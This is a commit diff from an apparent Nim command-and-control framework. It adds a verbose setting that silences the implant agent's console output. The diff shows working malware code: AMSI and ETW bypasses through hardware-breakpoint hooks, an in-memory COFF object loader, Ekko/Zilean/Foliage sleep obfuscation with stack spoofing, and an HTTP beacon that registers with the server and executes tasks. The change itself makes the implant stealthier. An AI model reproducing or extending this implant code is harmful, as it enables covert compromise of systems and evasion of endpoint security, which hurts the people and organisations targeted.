Implemented setting for verbose mode that prints debug messages in the windows where the agent is executed. Setting "verbose" to false disables all console output of the agent program.

This commit is contained in:
Jakob Friedl
2025-10-20 22:08:06 +02:00
parent 382e31c439
commit 0bf717992e
24 changed files with 119 additions and 78 deletions

View File

@@ -1,6 +1,6 @@
import winim/[lean, clr] import winim/[lean, clr]
import os, strformat, strutils, sequtils import os, strformat, strutils, sequtils
import ./hwbp import ./[hwbp, io]
import ../../common/[types, utils] import ../../common/[types, utils]
#[ #[
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
proc amsiPatch(pThreadCtx: PCONTEXT) = proc amsiPatch(pThreadCtx: PCONTEXT) =
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN) # Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
SETPARAM_6(pThreadCtx, cast[PULONG](0)) SETPARAM_6(pThreadCtx, cast[PULONG](0))
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
CONTINUE_EXECUTION(pThreadCtx) CONTINUE_EXECUTION(pThreadCtx)
proc etwPatch(pThreadCtx: PCONTEXT) = proc etwPatch(pThreadCtx: PCONTEXT) =
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[] pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
pThreadCtx.Rsp += sizeof(PVOID) pThreadCtx.Rsp += sizeof(PVOID)
pThreadCtx.Rax = STATUS_SUCCESS pThreadCtx.Rax = STATUS_SUCCESS
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
CONTINUE_EXECUTION(pThreadCtx) CONTINUE_EXECUTION(pThreadCtx)
#[ #[

View File

@@ -1,6 +1,6 @@
import winim/lean import winim/lean
import os, strformat, strutils, ptr_math import os, strformat, strutils, ptr_math
import ./beacon import ./[beacon, io]
import ../../common/[types, utils, serialize] import ../../common/[types, utils, serialize]
#[ #[
@@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
# Check if symbol starts with `__ipm_` (imported functions) # Check if symbol starts with `__ipm_` (imported functions)
if ($symbol).startsWith("__imp_"): if ($symbol).startsWith("__imp_"):
length += ULONG(sizeof(PVOID)) length += ULONG(sizeof(PVOID))
# echo $symbol # print $symbol
# Handle next relocation item/symbol # Handle next relocation item/symbol
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION)) objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
@@ -156,7 +156,7 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
if resolved == NULL: if resolved == NULL:
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.") raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
echo fmt" [>] {$symbol} @ 0x{resolved.repr}" print fmt" [>] {$symbol} @ 0x{resolved.repr}"
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer)) RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
@@ -339,9 +339,9 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable)) objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER)) objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
# echo objCtx.union.header.repr # print objCtx.union.header.repr
# echo objCtx.symTbl.repr # print objCtx.symTbl.repr
# echo objCtx.sections.repr # print objCtx.sections.repr
# Verifying that the object file's architecture is x64 # Verifying that the object file's architecture is x64
when defined(amd64): when defined(amd64):
@@ -354,7 +354,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Calculate required virtual memory # Calculate required virtual memory
virtSize = objectVirtualSize(addr objCtx) virtSize = objectVirtualSize(addr objCtx)
echo fmt"[*] Virtual size of object file: {virtSize} bytes" print fmt"[*] Virtual size of object file: {virtSize} bytes"
# Allocate memory # Allocate memory
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
@@ -370,7 +370,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap) defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
# Set the section base to the allocated memory # Set the section base to the allocated memory
secBase = virtAddr secBase = virtAddr
@@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
echo "[*] Copying over sections." print "[*] Copying over sections."
for i in 0 ..< int(objCtx.union.header.NumberOfSections): for i in 0 ..< int(objCtx.union.header.NumberOfSections):
secSize = sections[i].SizeOfRawData secSize = sections[i].SizeOfRawData
secMap[i].size = secSize secMap[i].size = secSize
@@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Copy over section data # Copy over section data
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize) copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
# Get the next page entry # Get the next page entry
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize))) secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
@@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# The last page of the memory is the symbol/function map # The last page of the memory is the symbol/function map
objCtx.symMap = cast[ptr PVOID](secBase) objCtx.symMap = cast[ptr PVOID](secBase)
echo "[*] Processing sections and performing relocations." print "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx): if not objectProcessSection(addr objCtx):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Failed to process sections.") raise newException(CatchableError, "Failed to process sections.")
# Executing the object file # Executing the object file
echo "[*] Executing." print "[*] Executing."
if not objectExecute(addr objCtx, entryFunction, args): if not objectExecute(addr objCtx, entryFunction, args):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.") raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
echo "[+] Object file executed successfully." print "[+] Object file executed successfully."
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))

View File

@@ -1,4 +1,5 @@
import parsetoml, base64, system import parsetoml, base64, system
import ./io
import ../../common/[types, utils, crypto, serialize] import ../../common/[types, utils, crypto, serialize]
const CONFIGURATION {.strdefine.}: string = "" const CONFIGURATION {.strdefine.}: string = ""
@@ -38,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey) wipeKey(agentKeyPair.privateKey)
echo protect("[+] Profile configuration deserialized.") print protect("[+] Profile configuration deserialized.")
return ctx return ctx
proc init*(T: type AgentCtx): AgentCtx = proc init*(T: type AgentCtx): AgentCtx =
@@ -50,7 +51,7 @@ proc init*(T: type AgentCtx): AgentCtx =
return deserializeConfiguration(CONFIGURATION) return deserializeConfiguration(CONFIGURATION)
except CatchableError as err: except CatchableError as err:
echo "[-] " & err.msg print "[-] " & err.msg
return nil return nil

View File

@@ -1,5 +1,5 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ./io
import ../../common/[types, utils, profile] import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] " & err.msg print protect("[-] "), err.msg
finally: finally:
client.close() client.close()
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err: except CatchableError as err:
echo "[-] " & err.msg print protect("[-] "), err.msg
return false return false
finally: finally:

View File

@@ -1,4 +1,5 @@
import winim/lean import winim/lean
import ./io
import ../../common/utils import ../../common/utils
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim # From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
@@ -33,7 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError() print protect("[!] GetThreadContext Failed: "), GetLastError()
return false return false
case drx: case drx:
@@ -59,7 +60,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed: "), GetLastError() print protect("[!] SetThreadContext Failed: "), GetLastError()
return false return false
return true return true
@@ -69,7 +70,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError() print protect("[!] GetThreadContext Failed: "), GetLastError()
return false return false
# Remove the address of the hooked function from the thread context # Remove the address of the hooked function from the thread context
@@ -87,7 +88,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed"), GetLastError() print protect("[!] SetThreadContext Failed"), GetLastError()
return false return false
return true return true
@@ -196,7 +197,7 @@ proc initializeHardwareBPVariables*(): bool =
# Add 'VectorHandler' as the VEH # Add 'VectorHandler' as the VEH
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
if cast[int](g_VectorHandler) == 0: if cast[int](g_VectorHandler) == 0:
echo protect("[!] AddVectoredExceptionHandler Failed") print protect("[!] AddVectoredExceptionHandler Failed")
return false return false
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:

17
src/agent/core/io.nim Normal file
View File

@@ -0,0 +1,17 @@
import macros
import ../../common/[types, utils]
const VERBOSE* {.booldefine.} = false
# Only print to console when VERBOSE mode is enabled
template print*(args: varargs[untyped]): untyped =
when defined(VERBOSE) and VERBOSE == true:
echo args
else:
discard
# Convert Windows API error to readable value
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
# Convert NTSTATUS to readable value
# https://ntdoc.m417z.com/rtlntstatustodoserror

View File

@@ -2,7 +2,7 @@ import winim/lean
import winim/inc/tlhelp32 import winim/inc/tlhelp32
import os, system, strformat import os, system, strformat
import ./cfg import ./[cfg, io]
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto]
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) # Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
@@ -115,10 +115,10 @@ proc GetRandomThreadCtx(): CONTEXT =
if GetThreadContext(hThread, addr ctx) == 0: if GetThreadContext(hThread, addr ctx) == 0:
continue continue
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
return ctx return ctx
echo protect("[-] No suitable thread for stack duplication found.") print protect("[-] No suitable thread for stack duplication found.")
return ctx return ctx
#[ #[
@@ -280,17 +280,17 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
echo protect("[*] Sleep obfuscation start.") print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.") print protect("[*] Sleep obfuscation end.")
except CatchableError as err: except CatchableError as err:
sleep(sleepDelay) sleep(sleepDelay)
echo protect("[-] "), err.msg print protect("[-] "), err.msg
#[ #[
@@ -448,17 +448,17 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
echo protect("[*] Sleep obfuscation start.") print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.") print protect("[*] Sleep obfuscation end.")
except CatchableError as err: except CatchableError as err:
sleep(sleepDelay) sleep(sleepDelay)
echo protect("[-] "), err.msg print protect("[-] "), err.msg
#[ #[
@@ -484,7 +484,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
echo fmt"[*] [{hThread.repr}] Thread created " print fmt"[*] [{hThread.repr}] Thread created "
defer: CloseHandle(hThread) defer: CloseHandle(hThread)
ctxInit.ContextFlags = CONTEXT_FULL ctxInit.ContextFlags = CONTEXT_FULL
@@ -559,17 +559,17 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
echo protect("[*] Sleep obfuscation start.") print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.") print protect("[*] Sleep obfuscation end.")
except CatchableError as err: except CatchableError as err:
sleep(sleepDelay) sleep(sleepDelay)
echo protect("[-] "), err.msg print protect("[-] "), err.msg
# Sleep obfuscation implemented in various techniques # Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
@@ -580,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
# Initialize required API functions # Initialize required API functions
let apis = initApis() let apis = initApis()
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
var img: USTRING = USTRING(Length: 0) var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0)

View File

@@ -1,6 +1,6 @@
import strformat, os, times, system, base64, random import strformat, os, times, system, base64, random
import core/[http, context, sleepmask] import core/[http, context, sleepmask, io]
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
@@ -17,9 +17,9 @@ proc main() =
let registrationBytes = ctx.serializeRegistrationData(registration) let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes): if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed." print("[-] Agent registration failed.")
quit(0) quit(0)
echo fmt"[+] [{ctx.agentId}] Agent registered." print fmt"[+] [{ctx.agentId}] Agent registered."
#[ #[
Agent routine: Agent routine:
@@ -34,7 +34,7 @@ proc main() =
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in." print "\n", fmt"[*] [{date}] Checking in."
try: try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request # Retrieve task queue for the current agent by sending a check-in/heartbeat request
@@ -45,13 +45,13 @@ proc main() =
packet: string = ctx.httpGet(heartbeatBytes) packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0: if packet.len <= 0:
echo "[*] No tasks to execute." print("[*] No tasks to execute.")
continue continue
let tasks: seq[Task] = ctx.deserializePacket(packet) let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0: if tasks.len <= 0:
echo "[*] No tasks to execute." print("[*] No tasks to execute.")
continue continue
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
@@ -62,7 +62,7 @@ proc main() =
ctx.httpPost(resultBytes) ctx.httpPost(resultBytes)
except CatchableError as err: except CatchableError as err:
echo "[-] ", err.msg print("[-] ", err.msg)
when isMainModule: when isMainModule:
main() main()

View File

@@ -5,4 +5,5 @@
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="false"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,7 @@
import strutils, tables, json, strformat, zippy import strutils, tables, json, strformat, zippy
import ./result import ./result
import ../core/io
import ../../modules/manager import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils] import ../../common/[types, serialize, sequence, crypto, utils]
@@ -61,7 +62,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
var unpacker = Unpacker.init(packet) var unpacker = Unpacker.init(packet)
var taskCount = unpacker.getUint8() var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks." print fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0: if taskCount <= 0:
return @[] return @[]

View File

@@ -43,6 +43,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
"sleepDelay": buildInformation.sleepDelay, "sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique), "sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack, "spoofStack": buildInformation.spoofStack,
"verbose": buildInformation.verbose,
"modules": buildInformation.modules "modules": buildInformation.modules
} }
) )

View File

@@ -12,6 +12,7 @@ type
sleepDelay: uint32 sleepDelay: uint32
sleepMask: int32 sleepMask: int32
spoofStack: bool spoofStack: bool
verbose: bool
sleepMaskTechniques: seq[string] sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module] moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget buildLog*: TextareaWidget
@@ -23,6 +24,7 @@ proc AgentModal*(): AgentModalComponent =
result.sleepDelay = 5 result.sleepDelay = 5
result.sleepMask = 0 result.sleepMask = 0
result.spoofStack = false result.spoofStack = false
result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
